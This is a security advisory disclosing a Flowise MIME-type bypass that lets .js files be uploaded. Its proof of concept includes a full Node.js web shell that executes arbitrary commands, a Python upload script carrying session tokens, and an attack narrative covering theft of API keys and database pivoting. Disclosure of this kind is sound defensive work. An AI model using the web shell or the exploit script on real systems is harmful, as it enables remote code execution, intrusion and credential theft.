GHSA-rh7v-6w34-w2rr: Flowise: MIME bypass enables persistent Node.js web shell RCE

### Summary In FlowiseAI, the Chatflow configuration file upload settings can be modified to allow the application/javascript MIME type. This lets an attacker upload .js files even though the frontend doesn’t normally allow JavaScript uploads. This enables attackers to persistently store malicious Node.js web shells on the server, potentially leading to Remote Code Execution (RCE). ### Details This is a bypass of [GHSA‑35g6‑rrw3‑v6xc](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-35g6-rrw3-v6xc) (CVE‑2025‑61687). The Chatflow file upload settings do not properly validate MIME types. An attacker can add the `application/javascript` MIME type when updating a Chatflow, allowing .js files to be uploaded. JavaScript files are not listed as an option for file upload types within web user interface: <img width="1162" height="440" alt="Screenshot 2026-01-08 152306" src="https://github.com/user-attachments/assets/f33f04af-877e-4aac-95a7-86d4684891de" /> ### PoC #### shell.js (Node.js Web Shell) ``` const { exec } = require('child_process'); const http = require('http'); const server = http.createServer((req, res) => { const url = new URL(req.url, 'http://localhost'); const cmd = url.searchParams.get('cmd'); if (cmd) { console.log(`Executing: ${cmd}`); exec(cmd, (error, stdout, stderr) => { res.writeHead(200, {'Content-Type': 'text/plain'}); if (error) { res.end(`Error: ${error.message}\n${stderr || ''}`); } else { res.end(stdout || 'Command executed successfully'); } }); } else { res.writeHead(200, {'Content-Type': 'text/html'}); res.end(` <h1>Node.js Web Shell</h1> <p>Use ?cmd=command to execute</p> <p>Example: ?cmd=id</p> `); } }); const PORT = 8888; server.listen(PORT, '0.0.0.0', () => { console.log(`Shell running on port ${PORT}`); console.log(`Access: http://localhost:${PORT}?cmd=id`); }); ``` #### Python Upload Script ``` import requests import uuid TARGET_URL = "http://192.168.236.131:3000" CHATFLOW_ID = "dfd67fff-23b5-4f62-a0b3-59963cabc3b2" cookie_str = 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOTRiOGY2MTIyMzI3ZmFmODg0YzM4OGM4Y2YwZTg3ZGU6MTVkNDc4MDFjNTQ0N2Q3NDU2Mzg3OWE2N2E5YmJjNmM0M2JiYjYzNDE0Y2MzZWY2ZThkYjAzZTRhNjM3MjBiNzA5NmI3YmIwMGM3YWI3YTRmM2QzN2E2OTRiMGVmY2UzOTFiZGU3MWJiNWViZDIyN2ZhNzc0NmQ0ZjFmNTM5NTFhOGJkNjdlMzEyZjMzOTk5OWQ0ZGNkYmVmYWU3OWI4NSIsImlhdCI6MTc2Nzg1ODE2NSwibmJmIjoxNzY3ODU4MTY1LCJleHAiOjE3Njc4NjE3NjUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.lUtIFztKIT6Ld8cnPaPnPfm0B47yhurPJRW6JhtSwu8; refreshToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImEzZGNlMjgyLTE1ZDUtNDYwMi04MjI2LTc1MmQzYzExYzI5NyIsInVzZXJuYW1lIjoiYWRtaW4iLCJtZXRhIjoiOThmZGE5YWE2MDZhYTA3YTMxYjZlYzhjZTkyMmZkMDA6ZTU2ZTczMTEwYjY3ZDE3ZTM3MjViZWI2YzMyYWYzNTNkOWExNzIzZWU0NzdiN2ZiMDQ1N2Q0M2JmZTY0NTIxZTlkNjM2ZWQwODgxNWJiNzU4Mjg2ZDQ3OGMwNTA3NTRkZTgwMWIwODljNDQ5YjhhZjVkODU2YWFiMzk4NTBjNjNlZjRmY2UzMmY4YWYzZmQxNGQzMmVhYzVhYjVmM2NjZCIsImlhdCI6MTc2Nzg1MzU4NSwibmJmIjoxNzY3ODUzNTg1LCJleHAiOjE3NzU2Mjk1ODUsImF1ZCI6IkFVRElFTkNFIiwiaXNzIjoiSVNTVUVSIn0.U3mm0ONOeGFP1gD-mPT90Iz_Ewwf-YXzmTPwoOEHG_g; connect.sid=s%3Avwp7SDKi02Mzu_nTF3-IZ-RfgmMnnp5o.K7kb5eg9CJ%2FuxupG4rJrT6I0fu0H93OTd5trNC0u88Y' js_mime_type = 'application/javascript' CHAT_ID = str(uuid.uuid4()) def configure_chatflow_uploadfile(): url = f"{TARGET_URL}/api/v1/chatflows/{CHATFLOW_ID}" headers = {'Cookie': cookie_str, 'x-request-from': 'internal'} chatbot_configdata = {"chatbotConfig":'{\"fullFileUpload\":{\"status\":true,\"allowedUploadFileTypes\":\"' + js_mime_type + ',text/css,text/csv,text/html,application/json,text/markdown,application/x-yaml,application/pdf,application/sql,text/plain,application/xml,application/msword,application/vnd.openxmlformats-officedocument.wordprocessingml.document,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,application/vnd.openxmlformats-officedocument.presentationml.presentation\",\"pdfFile\":{\"usage\":\"perPage\",\"legacyBuild\":false}}}'} r = requests.put(url, headers=headers, json = chatbot_configdata) if js_mime_type in r.text: print("[+] Enabled .js file uploads") else: print("[-] Failed to enable .js file uploads") def upload_shell(): url = f"{TARGET_URL}/api/v1/attachments/{CHATFLOW_ID}/{CHAT_ID}" headers = {'Cookie': cookie_str} files = {'files': ('shell.js', open('shell.js', 'rb'), 'application/javascript')} r = requests.post(url, headers=headers, files=files) if r.status_code == 200: print("[+] Upload success") print(r.text) else: print(f"[-] Upload failed ({r.status_code})") print(r.text) if __name__ == "__main__": configure_chatflow_uploadfile() upload_shell() ``` <img width="839" height="231" alt="image" src="https://github.com/user-attachments/assets/0d2e8384-8da6-4ada-a81a-a85c49476673" /> ### Impact An attacker can persistently upload and store malicious web shells on the server. If executed, this leads to Remote Code Execution (RCE). The risk increases if administrators unknowingly trigger the shell or if other vulnerabilities are chained to execute the file. This presents a high-severity threat to system integrity and confidentiality.

An attacker with a low-privilege FlowiseAI account — or a stolen session token obtained via credential stuffing or phishing — sends a crafted PUT request to /api/v1/chatflows/{id} inserting 'application/javascript' into the allowedUploadFileTypes field of the chatbotConfig JSON. They then POST a Node.js web shell to /api/v1/attachments/{chatflowId}/{chatId} with Content-Type: application/javascript using the publicly available exploit script. The shell persists on disk at a known attachment path. The attacker triggers execution either by discovering how Flowise processes or serves uploaded files, by chaining another vulnerability, or by waiting for an administrator to inadvertently invoke it. Once the shell is running on port 8888, the attacker has persistent HTTP-accessible command execution: they exfiltrate LLM API keys from environment variables, pivot to connected PostgreSQL databases, and maintain a backdoor that survives account password resets.